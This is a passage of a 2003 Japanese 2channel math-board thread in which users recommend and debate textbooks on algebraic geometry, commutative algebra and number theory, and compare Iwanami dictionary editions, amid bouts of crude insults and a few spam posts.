おれヨーロッパの大学院生だけど、筆記体読めないよ（笑い）
ってゆーか筆記体使わないもの。レポートは全部ワープロだし。
138 名前： １２９ 投稿日： 03/05/14 22:20: >>134
現在２年なもんで。まだ英語の本は読んだことないです
139 名前： １３２人目の素数さん 投稿日： 03/05/14 22:20: >>137
確かに、日本語の次に英語とも限らないしな
すまん
140 名前： 動画直リン 投稿日： 03/05/14 22:23: http://homepage.mac.com/hitomi18/
141 名前： １３２人目の素数さん 投稿日： 03/05/14 22:24: >>138
じゃぁ読めよ。大学2年にもなりゃ1ヶ月程度で慣れるようになる。
142 名前： １３２人目の素数さん 投稿日： 03/05/14 23:20: >>138

あのね，ぼうや，少なくても数式は同じだよ

それと中学生程度の構文しか出てこないよ

なにをそんなに恐れているの？
143 名前： １２９ 投稿日： 03/05/14 23:31: >>141
>>142
そうですか。英語ってだけでびびってしまったんですが、
ほんじゃあ挑戦してみます。ありがとうございました。
144 名前： １３２人目の素数さん 投稿日： 03/05/14 23:31: プーさんとかミッキーとかで
数学説明しなきゃいけませんか？

みなさん
145 名前： １３２人目の素数さん 投稿日： 03/05/14 23:32: >>143

挑戦てほどじゃねーだろが
146 名前： １３２人目の素数さん 投稿日： 03/05/14 23:32: プーさんやミッキーがでてきた方が親切だと思います。
147 名前： １３２人目の素数さん 投稿日： 03/05/14 23:54: >>146

ぜんぜん親切じゃありません．
それだけ内容がうすまります

金かえせ
148 名前： １３２人目の素数さん 投稿日： 03/05/15 00:02: >>128

質問者に対して見下す態度をとるのは，
相手に「なにクソ」と思わせて，
自らの努力をうながす，
高度で伝統的な教育スタイルなんだよ！

幼稚園じゃねんだから，
なんでやさしく教えてやらなきゃいけねんだよ
149 名前： １３２人目の素数さん 投稿日： 03/05/15 00:07: 英語で書かれた高校数学の本を探しています。
詳しい方がいましたらお勧めの本を教えて下
さい。
150 名前： １３２人目の素数さん 投稿日： 03/05/15 00:51: >>148
お前にはまだ早い。
151 名前： １３２人目の素数さん 投稿日： 03/05/15 01:08: >>150
意味がわからないのですが。
152 名前： １３２人目の素数さん 投稿日： 03/05/15 05:19: >>107

長文で自分がいかに阿呆かプレゼンしてくれて
ご苦労さん(w
153 名前： １３２人目の素数さん 投稿日： 03/05/15 05:19: >>150

はぁ？？？
154 名前： １３２人目の素数さん 投稿日： 03/05/15 05:24: >>151 >>153
「実際何も考えず脊髄反射でレスしてんじゃないの？」と
質問者以外にも見下されるようなレスになってしまうと言う事だ。
もっと経験を積みな。坊やたち
155 名前： １３２人目の素数さん 投稿日： 03/05/15 05:29: >>154

おまえだろ，ぼーや(w

じゃおまえの模範回答とやらをやってもらおうじゃねーか
156 名前： １３２人目の素数さん 投稿日： 03/05/15 05:36: >>155
私は148のようなスタイルでは無いのでね。
別に門外漢が150,154のような批判をしちゃいけないというルールは無いさ。

それにしても「それじゃーおまえやってみろよー」と来るとは
君は典型的なレスが好みのようだな。
157 名前： １３２人目の素数さん 投稿日： 03/05/15 06:52: 数学書のスレは定期的に荒れるね、、、
いい雰囲気のときはスレの進行も楽しみなのだけど、他人を罵倒するだけで
レスの数が増えているのを見ると、、、
158 名前： １３２人目の素数さん 投稿日： 03/05/15 09:41: >>157
このスレためになるのに…
はやく落ち着いてほしいねｗ
159 名前： １３２人目の素数さん 投稿日： 03/05/15 15:11: 個人的にはHartshorneは代数幾何の学習にはいいんじゃないかなぁ、と思う。
160 名前： １３２人目の素数さん 投稿日： 03/05/15 22:42: コホモロジーのこころ　岩波
を買った。これから読みます（＾o＾
161 名前： １３２人目の素数さん 投稿日： 03/05/15 22:44: >>160
おぉ、感想を期待
162 名前： １３２人目の素数さん 投稿日： 03/05/16 00:25: 天書の証明読んだ人いますか？
どうでしたか？
163 名前： １３２人目の素数さん 投稿日： 03/05/16 01:25: 代数幾何を勉強する前に、射影幾何でウオーミングアップしたほうがいいのですか?
射影幾何のみの本はそう何冊もないとは思いますが、、、
164 名前： １３２人目の素数さん 投稿日： 03/05/16 01:40: 上野健爾の代数幾何入門に書いてあるぐらいのことをやっておけばOK
165 名前： １３２人目の素数さん 投稿日： 03/05/16 08:00: ♪ 代数幾何は大好きか？ぼくは大好きさ～
166 名前： １３２人目の素数さん 投稿日： 03/05/16 20:40: ♪ 微分積分いい気分～
167 名前： １３２人目の素数さん 投稿日： 03/05/16 20:41: 基礎解析は基礎かい？
168 名前： １３２人目の素数さん 投稿日： 03/05/16 21:51: >>162

題名のわりにたいしたもんじゃないよ
169 名前： １３２人目の素数さん 投稿日： 03/05/16 22:50: 今日使っても機能的極限
170 名前： １３２人目の素数さん 投稿日： 03/05/16 22:50: 帰納的だった…（鬱
171 名前： １３２人目の素数さん 投稿日： 03/05/16 23:16: 「（ツッコミがきたときに）二重ボケですが何か？」
と返すのが妥当では？
172 名前： １３２人目の素数さん 投稿日： 03/05/16 23:45: >>168
たいしたもんじゃないとは具体的に
どういうことですか？
証明が美しくないとか？
173 名前： １３２人目の素数さん 投稿日： 03/05/16 23:56: >>169
おととい来やがれ
174 名前： １３２人目の素数さん 投稿日： 03/05/17 03:35: なんか、意味無くスレが伸びてるな。
175 名前： 翔太＠中一 投稿日： 03/05/17 04:55: >>174

おまえがな
176 名前： １３２人目の素数さん 投稿日： 03/05/17 05:02: 翔太＠中一
177 名前： 翔太＠中一 投稿日： 03/05/17 05:10: GO MAXIMA が薦める本て，
なんかちょっとずれてるんだよな
178 名前： １３２人目の素数さん 投稿日： 03/05/17 05:15: 君が必要な素養を見につければずれていると感じる事は無くなると思う。
まぁ「他人と勧める物が違う」と「他人とずれている」の違いが分かるぐらいにはなっておくれ。
179 名前： 翔太＠中一 投稿日： 03/05/17 05:16: >>178 = GO MAXIMA
180 名前： １３２人目の素数さん 投稿日： 03/05/17 05:20: 呆れた。　まぁ自分には彼程度の知識はまだ無いと言っておくよ。
181 名前： 翔太＠中一 投稿日： 03/05/17 05:23: GO MAXIMA ってたいしたことないよ
数学のセンスもちょっとずれてる
182 名前： １３２人目の素数さん 投稿日： 03/05/17 05:29: 178、180を単純に否定するだけのレス。根拠のカケラもなし。さすが中一
183 名前： 翔太＠中一 投稿日： 03/05/17 05:34: >>182

うるせーよオヤジ

おまえの時代は終わったんだよ

早く引退しろよ！
184 名前： １３２人目の素数さん 投稿日： 03/05/17 05:38: >>183
そっちこそこれ以上スカスカの脳みそから生産されたと思われるようなレスを
繰り返すのは止めておくれ
185 名前： １３２人目の素数さん 投稿日： 03/05/17 05:54: また荒れはじめた…鬱）
186 名前： １３２人目の素数さん 投稿日： 03/05/17 06:00: 他愛の無いやり取りだ。軽く流してくれ
187 名前： 翔太＠中3 投稿日： 03/05/17 06:43: おれの名前は「翔太＠中3」だ！

数学板のチンカスども！

まとめてかかってきやがれ！
188 名前： 翔太＠中３ 投稿日： 03/05/17 06:45: 本物は翔太＠中３ですのでよろぴく
189 名前： 翔太＠中３ 投稿日： 03/05/17 06:53: >>118 は群にあこがれてるだけの中坊
190 名前： １３２人目の素数さん 投稿日： 03/05/17 06:56: >>189
「群」を知らない翔太君、迂闊なレスはいけませんよ
191 名前： 翔太＠中３ 投稿日： 03/05/17 06:57: >>190

群くらい知ってら

相似はわからないけど
192 名前： １３２人目の素数さん 投稿日： 03/05/17 07:02: ほんと？それなら例ぐらい言ってみなよ。
193 名前： １３２人目の素数さん 投稿日： 03/05/17 07:23: >>192

3つの文字の置換が作る群 S_3

非可換な群の最小の位数のもの
194 名前： 翔太＠中３ 投稿日： 03/05/17 07:24: >>193 はおれね
195 名前： １３２人目の素数さん 投稿日： 03/05/17 07:25: よしよし、偉いぞ。
196 名前： bbbc ◆zjJEALIKt2 投稿日： 03/05/17 08:15: 翔太はすごいなぁ。俺工房だが群なんていまいちわからない。
英語では群のことをグループというらしいが、そのほうが専門用語
じゃない分親しみやすいね。
197 名前： 翔太＠中３ 投稿日： 03/05/17 08:17: >>196

群だろうが group だろうが同じだろヴァカ

group ならわかるが群はわからないなんてあるかよタコ

チンカス
198 名前： bbbc ◆zjJEALIKt2 投稿日： 03/05/17 08:21: わかるかわからない問題じゃない。
最初聞いたときグループのほうが親しみやすいといってる。
日　本　語　わ　か　り　ま　す　か　？
199 名前： 翔太＠中３ 投稿日： 03/05/17 08:23: 日本語はいちおうわかる

相似はわからないが

group が親しみやすくて，群が親しみにくい，
なんてことがあるかタコ

チンカス
200 名前： １３２人目の素数さん 投稿日： 03/05/17 13:10: 岩波の今月の復刊には面白いのが多いよ。

スメール・ハーシュ「力学系入門」
フランダース「微分形式の理論」
ワイル「リーマン面」
201 名前： １３２人目の素数さん 投稿日： 03/05/17 13:15: 相似がわからないってことはAffine変換群は全くお手上げだね。
でも、群論って「これは群です」「これは群じゃありません」だけを続けるものでもないな。
202 名前： １３２人目の素数さん 投稿日： 03/05/17 13:24: 秋月の「調和積分論」は出ないのか？？
203 名前： １３２人目の素数さん 投稿日： 03/05/17 15:12: >>200
久々にまともな情報だ…。
204 名前： １３２人目の素数さん 投稿日： 03/05/17 15:14: それにしてもロシア人は微分方程式が好きだよなー
205 名前： １３２人目の素数さん 投稿日： 03/05/17 22:09: 岩波数学辞典が学校で読んでみて
いろんなことが書いてあって
定義とか
よくわからないことが書いてあったりして結構使えそうに思えたんですが
2版と3版ってどうちがうんですか？
かなりちがうんですか？
別にそんなにちがわないのなら
安い方を買おうと思っているんですけど
あと>>30あたりで辞典の話で盛り上がってるんですが
なんで4版が出るまで待てっていうんですか？
206 名前： １３２人目の素数さん 投稿日： 03/05/17 22:19: >>205
2版と3版はかなり違う。
3版と4版もおそらくはかなり違う。
4版は現在原稿を書いてる最中なので、しばらく待つと出る。
そして、値段が結構高い。

だから、4版が出るまで待つのかいいんじゃないかと
いうことだと思う。
207 名前： １３２人目の素数さん 投稿日： 03/05/17 22:25: >>206
どうも

ところで
2版を千円ってかなり安いと思うんですが
どうですか？
208 名前： １３２人目の素数さん 投稿日： 03/05/17 22:27: http://life.fam.cx/
209 名前： １３２人目の素数さん 投稿日： 03/05/17 22:38: >207
安いとは思うけど、既に3版が出てるのに欲しくは無いなぁ、
というのが大方の意見かと。
ただ、最近の結果には今のところ興味ない、とかいうのだったら
悪くないかも。
210 名前： １３２人目の素数さん 投稿日： 03/05/17 22:50: >>209
どうも
ありがとうございます
最先端には当分到達できないので買うことにします
211 名前： １３２人目の素数さん 投稿日： 03/05/17 23:43: >>207
お前はこれからもそのような事象に遭遇する事があるだろう。
その場合人に聞かずに迷わず行動を起こせ。
212 名前： １３２人目の素数さん 投稿日： 03/05/18 02:58: >>210
二版が1,000円てのは別に安くないよ。どこの店でも同じ。

三版は6,000円くらいだから随分高くなるけど
中身が全然違うので、数学辞典が欲しいなら
三版を買った方が良いと思う。

数学辞典なんていらないと思ってたけど1,000円なら買っとくか
ってなノリなら二版で。

四版は一年半以上先の話。
213 名前： １３２人目の素数さん 投稿日： 03/05/18 03:07: 数学科なら図書室にあるのでは？禁帯出だし。
数学科以外で数学辞典を必要とすることはあるんですか？
214 名前： １３２人目の素数さん 投稿日： 03/05/18 03:43: >>213
ていうか、それは人に聞くことじゃないだろ。
中身を見て自分で欲しい(読んでみたい)と思ったら買えよ。
漏れは高校のときに買った。
215 名前： １３２人目の素数さん 投稿日： 03/05/18 03:49: 第4版が出ない理由は執筆が終わってないから、だけだよね？
216 名前： １３２人目の素数さん 投稿日： 03/05/18 04:39: >>215
たぶんね。
おエライ先生方は筆が遅いから。
217 名前： １３２人目の素数さん 投稿日： 03/05/18 05:05: 辞典系は岩波のやつ１冊でOK？
他にもブルーバックスの現代数学小辞典や矢野健太郎の英和和英とかいろいろあるけど・・
218 名前： 次世代のワイルズ 投稿日： 03/05/18 06:53: 今回の Perelmann の一件もぜひ載せてほしいね
219 名前： １３２人目の素数さん 投稿日： 03/05/18 07:59: >>217
辞書に何を求めているの?
220 名前： １３２人目の素数さん 投稿日： 03/05/18 09:28: 「岩波数学入門辞典」てのも出る予定だよ　11月刊
大学初年級までの数学用語を扱っているらしい
221 名前： １３２人目の素数さん 投稿日： 03/05/18 12:15: 作用素代数の学部４年向イントロ本としては何がいいと思う？
222 名前： 次世代のワイルズ 投稿日： 03/05/18 16:32: >>220
> 大学初年級までの数学用語を扱っているらしい

ちょっとレヴェル下げ過ぎだよ
223 名前： １３２人目の素数さん 投稿日： 03/05/18 17:24: 「小」辞典を同じ岩波から出す以上、そうなる事は仕方が無い
224 名前： １３２人目の素数さん 投稿日： 03/05/19 09:53: 岩波講座「現代数学への入門」の姉妹編だと
225 名前： １３２人目の素数さん 投稿日： 03/05/19 18:16: 岩波講座「現代数学への入門」

これ入手困難だから増刷して欲しい。
226 名前： １３２人目の素数さん 投稿日： 03/05/19 18:56: 二項係数のいっぱい入った等式がたくさん載ってる本がほしいです
227 名前： １３２人目の素数さん 投稿日： 03/05/19 19:15: >>226
代数学順列組合セ及二項定理
佐藤充著大倉書店 1911 100p (初等数学叢書第15編)
228 名前： １３２人目の素数さん 投稿日： 03/05/19 19:17: >>227
古そうな本だがありがとう。
あした図書館に行ってみます。
229 名前： １３２人目の素数さん 投稿日： 03/05/20 01:50: ハーツホーン読みたいんだけど、その前に可換代数の勉強したいのね
で、Atiyah MacdnaldのIntoroduction to Comutative Algebra　と
Commutative Algebra With a View Toward Algebraic Geometry　と
どっち読むか迷ってんだけど、どっちがいい？
読んだひと感想聞かせて
230 名前： 次世代のワイルズ 投稿日： 03/05/20 06:11: >>229

どっちでも同じ

おまえにゃ Hartshone は無理
231 名前： １３２人目の素数さん 投稿日： 03/05/20 06:27: Hartshorneはやる気のある学生とっては親切な仕様となっていますよ。
何も知らないからって変な事言っちゃいけません。次世代のワイルズ君。

とかいいつつ松村ので済ませた自分も何も知らないような物だけど。
232 名前： １３２人目の素数さん 投稿日： 03/05/20 06:50: 「次世代のワイルズ」は
あっちこっちのスレで目に付いた情報をしったかぶって披露してるだけだから
あまり相手にするな
233 名前： 次世代のワイルズ 投稿日： 03/05/20 06:53: >>232

知ったかしてんのはおまえ！
234 名前： 学力低下世代のパターン 投稿日： 03/05/20 06:58: ○○はオマエ
235 名前： 次世代のワイルズ 投稿日： 03/05/20 06:58: >>234

オマエガナ
236 名前： １３２人目の素数さん 投稿日： 03/05/20 07:03: 今日朝までに何回>>234の文句だけ書き込んだんだろうね。

いいなー、頭使わなくてもみんなに構ってもらえて
237 名前： １３２人目の素数さん 投稿日： 03/05/20 07:11: >>232は分からない事を知っているかのように話すレスではないし、
パターンを述べるだけの>>234からは学力を推し量るのは無理。
もちろん>>236に構うのは次世代のワイルズと私だけで「みんなに構ってもらえる」とは言えない。

どれもオマエモナ系のレスを返すには不適切かと。
238 名前： １３２人目の素数さん 投稿日： 03/05/20 07:14: >>200
値段 (と前回出てたときの値段との差)
スメール・ハーシュ「力学系入門」￥7,000 (￥2,000)
フランダース「微分形式の理論」￥4,600 (￥800)
ワイル「リーマン面」￥4,200 (￥1,000)
アーノルド「古典力学の数学的方法」￥9,000 (￥200)

http://www.iwanami.co.jp/moreinfo/sci_rpr03/top.html
239 名前： １３２人目の素数さん 投稿日： 03/05/20 07:34: http://www.zenshoren.or.jp/siries/wadai/030324/030324.htm
http://www.bekkoame.ne.jp/~much/index.html
http://www.jbpa.or.jp/zeisei-yobo.htm
http://www.netlaputa.ne.jp/~ryuutai/top_contests.htm#1

専門書ってこういうのの影響をもろに受けそうな気がする。
出版された1年後にはほとんど読む人がいなくなるような本と違って。
240 名前： １３２人目の素数さん 投稿日： 03/05/20 07:54: http://www.bekkoame.ne.jp/~much/index.html
現行の「本体価格」に消費税を加えたものが「定価」だという考え方が、
定着しているのに、なぜ税額を含めた「総額表示」が必要なのか。
将来の消費税アップを睨んで、「痛税感を国民に与えないようにしたい」というような
姑息な現政権の政治的意図があるのかもしれませんが、
編集子には合理的な導入理由がさっぱりわかりません。
241 名前： １３２人目の素数さん 投稿日： 03/05/20 07:59: >>238
> スメール・ハーシュ「力学系入門」￥7,000 (￥2,000)
自分の手元にあるのは 3900円の時代だ。
\7000 はすごいな。
242 名前： 次世代のワイルズ 投稿日： 03/05/20 08:01: 岩波，再版の値段上げ過ぎ
243 名前： １３２人目の素数さん 投稿日： 03/05/20 08:33: 上げ「過ぎ」ではない。　年代の差をちゃんと見比べよ。
244 名前： 次世代のワイルズ 投稿日： 03/05/20 08:39: >>243 = 岩波
245 名前： １３２人目の素数さん 投稿日： 03/05/20 09:30: 厨房と言えど、ぱっと見の主観しか述べる事が出来ないわけではあるまい。
時代の差を差っ引いても価格の上昇が大きいといえるのかどうか、少し考えたまえ。
246 名前： １３２人目の素数さん 投稿日： 03/05/20 10:42: >>229
Atiyah, Macdnald "Intoroduction to Comutative Algebra"
を読んだ方が良いよ。こちらは学部生向きの授業を素に出来た本だから。

Commutative Algebra With a View Toward Algebraic Geometry
こちらは予備知識が無いと最初で躓くかもしれない。
一応、専門家を対象としている本ですね。
もちろん悪い本ではないけど。
247 名前： １３２人目の素数さん 投稿日： 03/05/20 10:52: >>238
外国人の著作は高すぎて売れないんだろうね
248 名前： １３２人目の素数さん 投稿日： 03/05/20 11:47: お前らそればっかな．
249 名前： 次世代のワイルズ 投稿日： 03/05/20 12:39: >>229

てか，2つ見比べて，どっちが自分にふさわしいのか，
自分で判断できないのか？

幼稚園じゃないんだから，何でも人に聞くないよ
250 名前： 次世代のワイルズ 投稿日： 03/05/20 12:41: 俺に苦情がある人はこちらへ

工房だが、未解決問題に挑戦しています！！
http://science.2ch.net/test/read.cgi/math/1052512828/

おれはこのスレの 1 です
251 名前： １３２人目の素数さん 投稿日： 03/05/20 14:03: 参考書スレッドで「人に聞くな」っていう煽りは超が付くほど既出。
252 名前： 229 投稿日： 03/05/20 22:53: やっぱり
Atiyah MacDonaldにしよう
薄いし
>231 >246　ありがとう！

amazonでね、

>>Introduction to Commutative Algebra
>>M.F. Atiyah (著), I.G. MacDonald (著)
>>U.S. 定価： $65.00
>>価格：￥8,333

>>Commutative Algebra With a View Toward Algebraic Geometry
>>(Graduate Texts in Mathematics, Vol 150)
>>David Eisenbud (著)
>>U.K. 定価：￡16.00
>>価格：￥3,024

だよ。これ見ると迷っちゃうよね。

でもAtiyah MacDonaldにします！決定！
253 名前： １３２人目の素数さん 投稿日： 03/05/21 01:32: 数セミ６月号で「新入生に贈る５冊」って記事がありましたが、
おまいら数ヲタも、新入生の俺にお薦めの５冊を紹介してください
254 名前： １３２人目の素数さん 投稿日： 03/05/21 01:35: >>253
二代目数学学習マニュアル（大学生、院生編）
http://science.2ch.net/test/read.cgi/math/1015741116/
適当にどうぞ
255 名前： １３２人目の素数さん 投稿日： 03/05/21 01:40: 線型代数入門・演習線型代数、有馬哲、東京図書
解析入門、田島一郎、岩波全書
解析入門ⅠⅡ・演習、杉浦光夫、東京大学出版会
集合論入門、赤攝也、倍風館
群の発見、原田耕一郎、岩波書店
256 名前： １３２人目の素数さん 投稿日： 03/05/21 01:43: >>255
８冊ある…
257 名前： １３２人目の素数さん 投稿日： 03/05/21 03:03: ガウス整数論/ガウス
オイラーの無限解析/オイラー
群と代数方程式/アーベル・ガロア
幾何学原論/ユークリッド
数について/デデキント
258 名前： １３２人目の素数さん 投稿日： 03/05/21 06:30: >>253
スミルノフ高等数学教程 1～12
代数入門―群と加群堀田良之
トポロジーと幾何学入門シンガー, ソープ

5冊じゃなくてごめん。
259 名前： １３２人目の素数さん 投稿日： 03/05/21 06:32: みんなは何故か>>253を学部生と決めてかかっているが
厨房、工房の可能性もある（ｗ
もしくはＭとかＤかもね。

ちょっと前のスタンダードならこの５冊かな。

近世数学史談/高木貞治
解析概論/高木貞治
初等整数論講義/高木貞治
線型代数学(裳華房)/佐武一郎
曲面の数学/長野正
260 名前： 次世代のワイルズ 投稿日： 03/05/21 06:33: >>253

うるせんだよクソが
261 名前： １３２人目の素数さん 投稿日： 03/05/21 06:56: もしＭならこうかな？

19世紀数学史講義/クライン
特異摂動の代数解析学/柏原正樹
Collected Papers/岩澤健吉
モンスター/原田耕一郎
EGA・SGA/グロタンディーク、デュドネ
262 名前： １３２人目の素数さん 投稿日： 03/05/21 07:01: ５冊を各分野から一冊選ぶと良いかもね。

[1]数学史
[2]解析学
[3]代数学
[4]幾何学
[5]数論
[6]基礎論
263 名前： １３２人目の素数さん 投稿日： 03/05/21 07:27: >>262
数論で単独?
264 名前： １３２人目の素数さん 投稿日： 03/05/21 09:11: 数論よりは作用素環あたりが単独ぽ
265 名前： １３２人目の素数さん 投稿日： 03/05/21 11:50: チェビシェフ近似を勉強したいのですが良い参考書はありますか？
卒論でチェビシェフ必要なのに全然わからないで困ってます。
宜しくお願いします。
266 名前： 次世代のワイルズ 投稿日： 03/05/21 11:54: >>265

じゃ数学なんてやめちまいな
267 名前： １３２人目の素数さん 投稿日： 03/05/21 12:01: >>266
omaegana
268 名前： １３２人目の素数さん 投稿日： 03/05/21 12:32: ワイルズ必死だな。
書き込みの割にほとんど相手にされない。
269 名前： 次世代のワイルズ 投稿日： 03/05/21 12:42: >>268

必死なのはおまえ(w
270 名前： １３２人目の素数さん 投稿日： 03/05/21 14:20: >>259に選択肢を持たせるとこんな感じか。

[1]数学史

近世数学史談/高木貞治
ガロアの時代・ガロアの数学(Ⅰ･Ⅱ)/彌永昌吉
異説・数学者列伝/森毅
心は孤独な数学者/藤原

[2]解析学

解析概論/高木貞治
解析入門(Ⅰ･Ⅱ)/小平邦彦
数学解析(上･下)/溝畑茂
解析入門(Ⅰ･Ⅱ･演習)/杉浦光夫
現代の古典解析・位相のこころ/森毅

[3]代数学

線型代数学(裳華房)/佐武一郎
線型代数入門・線型代数演習/斎藤正彦
加群十話・代数入門/堀田良之
代数学とは何か/シャファレヴィッチ
271 名前： １３２人目の素数さん 投稿日： 03/05/21 14:20: [4]幾何学

曲面の数学/長野正
トポロジーと幾何学入門/シンガー, ソープ
３次元幾何学とトポロジー/サーストン・レヴィ
これからの幾何学/深谷賢治

[5]数論

初等整数論講義/高木貞治
数論講義/J.-P.セール
Basic Number Theory/Weil
解決！フェルマーの最終定理/加藤和也
272 名前： １３２人目の素数さん 投稿日： 03/05/21 14:56: 読み物だけで固めるとこうなる。
肩が凝らなくて良いかもね。

心は孤独な数学者/藤原正彦
現代の古典解析/森毅
加群十話/堀田良之
曲面の数学/長野正
解決！フェルマーの最終定理/加藤和也
273 名前： １３２人目の素数さん 投稿日： 03/05/21 16:03: 激安！！
http://www.amazon.com/exec/obidos/tg/detail/-/0195105192/ref=lib_dp_TFCV/104-9793009-0458365?v=glance&s=books&vi=reader#reader-link
274 名前： １３２人目の素数さん 投稿日： 03/05/21 16:19: >>226 二項係数のいっぱい入った等式がたくさん載ってる本がほしいです

そういうことなら、Knuth たちの "Concrete Mathematics, A Foundation
for Computer Science" (Addison-Wesley) が決定版だろ。
ハードコアだよ。その手の公式がうんざりするほど載ってる。
275 名前： １３２人目の素数さん 投稿日： 03/05/21 16:23: >>271
なぜBasic Number Theorｙなのかと小一時間（ｒｙ
276 名前： １３２人目の素数さん 投稿日： 03/05/21 17:00: >>271
なんでサーストンなのかと、小一時間 (ry
277 名前： １３２人目の素数さん 投稿日： 03/05/21 17:00: >>272
解決！フェルマーの最終定理/加藤和也
これはある程度大学の勉強やてからじゃないと、あんまり楽しめないな。
278 名前： 数学苦手男 ◆0yqYqslPEU 投稿日： 03/05/21 19:46: 　「テキスト　線形代数」　小寺平治　著
　共立出版株式会社　刊　2002年10月20日　初版1刷
　\2000-（税別）

　ガイシュツですか？　これから読むのですが、内容についてご感想あります？
279 名前： １３２人目の素数さん 投稿日： 03/05/21 20:03: >>277
中高生なら Simon Singh のとかのが良いよな。
http://www.amazon.co.jp/exec/obidos/ASIN/4105393014/

>>278
ガイシュツではない。
読んだこと無いので内容については何も言えないが。
でも、数学苦手な人に斉藤や佐武を勧めるもんじゃないし、
まあ、それでいいんじゃないっすか。
280 名前： １３２人目の素数さん 投稿日： 03/05/21 20:26: 平次親分と数学おばさんなら、どっちがおすすめですか？
281 名前： １３２人目の素数さん 投稿日： 03/05/21 20:29: 平次親分
282 名前： 次世代のワイルズ 投稿日： 03/05/21 20:31: >>278

線型代数の本なんかなんでもいいだろーがアフォ
283 名前： １３２人目の素数さん 投稿日： 03/05/21 21:00: >>282
一度でいいから石村園子の本と斎藤の本を同時に読む事を勧める。
284 名前： 次世代のワイルズ 投稿日： 03/05/21 21:31: >>278

おまえは石村のアホ本でも読んでろ(w
285 名前： １３２人目の素数さん 投稿日： 03/05/21 21:33: 石村は数学が苦手という条件にさらにもう一つ、「テスト前。何もしてない」という条件が必要。
286 名前： １３２人目の素数さん 投稿日： 03/05/21 21:37: 石村本くらいのレベルの本だったら、
このスレの数ヲタ達のほうが、いいのを書けそうだな…。
あの本はかえって読みづらい。
287 名前： 次世代のワイルズ 投稿日： 03/05/21 21:39: マンガで線型代数がわかってたまるか

>>278 はだまされてろ(w
288 名前： １３２人目の素数さん 投稿日： 03/05/21 21:41: 282と287が矛盾してる辺りが何も考えずに投稿してる事が分かりやすくて宜しい
289 名前： 山崎渉 投稿日： 03/05/21 21:42: ━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―
290 名前： 次世代のワイルズ 投稿日： 03/05/21 21:43: >>288

黙れ低脳
291 名前： １３２人目の素数さん 投稿日： 03/05/21 22:03: [5]数論

初等整数論講義/高木貞治
数論講義/J.-P.セール
Basic Number Theory/Weil
An Introduction to the Theory of Numbers/Hardy & Wright

このほうが良いな。Hardy&Wrightは邦訳より原書のほうがGOOD
292 名前： １３２人目の素数さん 投稿日： 03/05/21 23:04: おいおい、どーなってんだよ！
293 名前： 山崎渉 投稿日： 03/05/21 23:08: ━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―
294 名前： １３２人目の素数さん 投稿日： 03/05/22 02:02: 学部の一年では無理だと思うけど
こういう名著をお勧めしたいな。

数論講義/J.-P.セール
代数函数論/岩澤健吉
可換環論/松村英之
解析概論/高木貞治
３次元幾何学とトポロジー/サーストン、レヴィ
295 名前： １３２人目の素数さん 投稿日： 03/05/22 02:06: 他の分野に比べて幾何学って名著と呼ばれる本があまり無いような気がする。
やっぱり発展中だからなのかな？
一応、一冊だけ挙げておくかな。

複素多様体論/小平邦彦
296 名前： １３２人目の素数さん 投稿日： 03/05/22 02:16: >>252
フィールズ賞を受賞したAtiyahの名講義を受けられると思えば
安い安い。がんばれよ！
感想等の書き込みまってるよ。
297 名前： １３２人目の素数さん 投稿日： 03/05/22 02:20: ガウス整数論が歴史上最強の名著。
298 名前： １３２人目の素数さん 投稿日： 03/05/22 02:41: >>297
ユークリッド原論には勝てねえ。
バイブルに次ぐ読者数、理数系でのナンバーワンのベストセラー。
299 名前： １３２人目の素数さん 投稿日： 03/05/22 03:05: >>257
300 名前： １３２人目の素数さん 投稿日： 03/05/22 04:11: 幾何学原論はグロタンで、ユークリッドは原論。
それを言いたかった？>>299
もっとも
>>257で幾何学原論と書き込んだ張本人のﾖｶｰﾝ（ｗ
がします。
301 名前： １３２人目の素数さん 投稿日： 03/05/22 04:48: >>259の５冊が一番面白そう。
個人的には線型代数学より代数学を勧めたいのでこうしてみた。

近世数学史談/高木貞治
解析概論/高木貞治
初等整数論講義/高木貞治
代数学とは何か/シャファレヴィッチ
曲面の数学/長野正
302 名前： １３２人目の素数さん 投稿日： 03/05/22 05:15: かる～くいくと

近世数学史談 / 高木貞治
解析入門 / 田島一郎
群の発見 / 原田耕一郎
数論３つの真珠 / ア・ヤ・ヒンチン
集合論入門 / 赤攝也

線型代数は、小寺平治と石村園子以外なら良し
303 名前： 次世代のワイルズ 投稿日： 03/05/22 06:35: おすすめ

よくわかる線型代数/石村園子
数学屋台/芳沢光雄
皆殺しの数学/秋山仁
ALGO/ピーターフランクル監修
304 名前： １３２人目の素数さん 投稿日： 03/05/22 06:43: >>303

warota
305 名前： 次世代のワイルズ 投稿日： 03/05/22 08:20: >>300

グロタンは代数幾何学原論(EGA)だろ
306 名前： １３２人目の素数さん 投稿日： 03/05/22 09:09: >>302
近世数学史談が一番ヘビーかもね（ｗ
集合論入門 / 赤攝也　これそんなに良いとおもわなかったけどなあ。
それよりこっちがお勧めかな。
集合と位相 / 彌永,彌永
307 名前： １３２人目の素数さん 投稿日： 03/05/22 09:15: 情報システム系の学科の一年なんですが、
別に普通に工学部とかのオススメの参考書とかと一緒でいいですかね？
308 名前： １３２人目の素数さん 投稿日： 03/05/22 09:40: >>294
こうした方がいいんじゃない？

数論講義/J.-P.セール
代数函数論/岩澤健吉
可換環論/松村英之
解析概論/高木貞治
The Red book of Varieties and Schemes/Mumford
309 名前： １３２人目の素数さん 投稿日： 03/05/22 10:25: ラングと田島の解析入門を、同時進行でやってるんですけど、
田島のは必要ないかな、と思ってます。

私のような工学部には･･･。
310 名前： １３２人目の素数さん 投稿日： 03/05/22 12:32: >>308
松島与三/多様体入門
これも追加しては?

というか、この本は入門だったのか?
311 名前： １３２人目の素数さん 投稿日： 03/05/22 14:25: 　　　　　　　　　　　　　　　　　 _______
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　　　　　　　　／　　　　　　/ /|>>303
　　　　　　　　　　　／　　/ / 　|____|
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　　　　　　　　　　　　/ /　´_ゝ`）／　おうい！ワイルズが落ちこぼれ向けの本をセレクトしたぞー！
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　　　　　　　　　　　　ヽ　　 |　/
　　　　　　　　　　／　| ﾞー'|　L
　　　　　　／　　　　 |　 /（_　ヽ
　　　　　　　　／　／　ノ
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　　　　　／　　　（　ヽ　
312 名前： １３２人目の素数さん 投稿日： 03/05/22 14:25: 　　　　　　　　　　　　　　　　　　　　|　|　　　　|　　　　|　|
　　　　　　　　　　　　　　　　|　　　　 |　|　||　|　|　|　　|
